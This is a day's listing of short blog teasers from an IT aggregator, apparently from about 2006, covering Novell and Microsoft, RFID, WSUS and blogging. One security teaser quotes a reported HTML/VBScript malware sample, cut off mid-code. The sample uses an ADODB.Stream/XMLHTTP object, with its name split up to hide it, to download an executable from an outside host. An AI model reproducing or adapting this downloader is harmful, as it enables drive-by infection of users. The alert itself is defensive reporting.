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15 entries filed this day
Jeff Jaffe · Chief Technology Officer, Novell
As we all know, most of the focus over the last several weeks around Novell has been the announcement of our partnership with Microsoft.In my blog posting on November 3, I noted that for such a broad and industry transforming deal that there were numerous implications that...
Filed at 4:35am
Editor · Disaster Recovery / Intrusion Prevention / Security
One of our customers have brought this HTML based malware to our attention:[title][/title][head][/head][body][script language=”VBScript”]on error resume next‘ due to how ajax works, the file MUST be within the same local domaindl = “http://grupo-arroba.by.ru/grupo.exe”‘ create adodbstream objectSet df = document.createElement(”object”)df.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″str=”Microsoft.XMLHTTP”Set x = df.CreateObject(str,”")a1=”Ado”a2=”db.”a3=”Str”a4=”eam”str1=a1&a2&a3&a4str5=str1set S = df.createobject(str5,”")S.type = 1‘ xml ajax reqstr6=”GET”x.Open str6, dl, Falsex.Send‘...
Filed at 8:09am
Editor · Enterprise Applications
Filed under: Enterprise , XServe , Apple
Filed at 8:15am
Editor · RFID
Boom!Boom!Boom! The next time the American guns go blazing, RFID would be keeping a track of the rounds fired by them. For this purpose Benet Laboratories is working on an RFID system which will be tested on the M1...
Filed at 10:16am
Haydn Shaughnessy · Founder, TheContentStudio.com
If it’s a blogging lite week it’s because of the demands of a burgeoning career - as a a publisher. Plenty of people have been there before me I know but I am pretty happy with my first two publishing products.My Diet Friends is coming along fine. I’m currently planning the full launch just after...
Filed at 10:47am
Andy Lark · Chief Marketing Officer, LogLogic
According to CNet... Reuters Group has taken a stake in Web media-syndication site Pluck and has agreed to distribute blogs worldwide as part of a new media strategy. Reuters, a news and information company, has invested $7 million in the...
Filed at 1:24pm
Editor · Enterprise Applications / Security
In today's L.A. Times story, Spending on product warranties targeted , Alana Semuels writes about a Consumer Reports initiative to dissuade consumers from buying extended warranties, which it says are a waste of money. Yesterday while researching the story on Google, Semuels came across How I got suckered into an extended warranty , my recent blog post documenting my travails, and gave me a ring.
Filed at 2:50pm
Haydn Shaughnessy · Founder, TheContentStudio.com
Mark Cuban, whose influence on the movie industry is just beginning to be felt, thinks people go chasing visitors by blogging about…. what other people are blogging about. I missed the debate about that so belatedly wanted to express my confused thoughts on it.First he’s right, in my view. Second that seems to be the...
Filed at 4:52pm
Editor · IT Management
Here at Intel we’re no longer the stodgy, behind the curve company your parents (or perhaps your older siblings) remember. No, we’re now hip, happening, trendy, and zippy. We’re so far out in front we can see the back of...
Filed at 5:40pm
Haydn Shaughnessy · Founder, TheContentStudio.com
People’s concerns over issues other than Web 2.0, Microsoft and Apple start to flood the intraweb. This is one of my enduring concerns. Web 2.0,MSFT and Apple aren’t as important as global warming, food choices, history, and how we look or want to look and feel about ourselves. It’s a freak of the recent times...
Filed at 5:57pm
Dave Hitz · Founder and Executive Vice President, Network Appliance · Networking
This is a follow-up to my recent blog on How VMware is Revolutionizing Data Centers . Two weeks ago at Oracle OpenWorld, I talked with one customer who detailed exactly what he's accomplished so far with VMware. A second customer explained why VMware won't help his application at all.
Filed at 6:20pm
Editor · Disaster Recovery / Intrusion Prevention / Security
As users familiar with Notes/Domino systems know, publishing Address Books at company Web site is not a good idea.Let’s look the risks of ID files now. It was not covered widely last week when information about information disclosure vulnerability in Domino systems was published. Notes Remote Procedure Call (NRPC) protocol on port 1352 enables to...
Filed at 6:58pm
Andy Lark · Chief Marketing Officer, LogLogic
Journalists have never been onesfor press conferences - that's why this whole "lets hold a press conference in Second Life" thing has been kind of baffling to observe. First, it's really hard to serve good food and alchohol in Second...
Filed at 8:15pm
Editor
In response to customer feedback, and to provide customers with additional time to migrate off Software Update Services (SUS) 1.0, Microsoft has announced an extension to the end of support date to Tuesday, July 10, 2007. Windows Server Update Services, (WSUS), the successor to SUS, supports updating for a broader set of Microsoft products and provides robust management and reporting features. Customers can download WSUS from http://www.microsoft.com/updateservices. Additionally, a beta version of the next release, WSUS 3.0 is available for evaluation. WSUS 3.0 is expected to be released in the first half of calendar year2007. More information about the WSUS 3.0 beta 2 can be found from http://www.microsoft.com/wsus
Filed at 10:30pm
Joel Spolsky · CEO, Fog Creek Software · Software Development
Dmitri Zimine has a hypothetical story of how interrupting a programmer for a two hour emergency request needed to close some sale can actually waste two weeks. "If Sarah spends just two hours thinking of her old project, she loses a day of productive work on the new one," he says.
Filed at 1:28am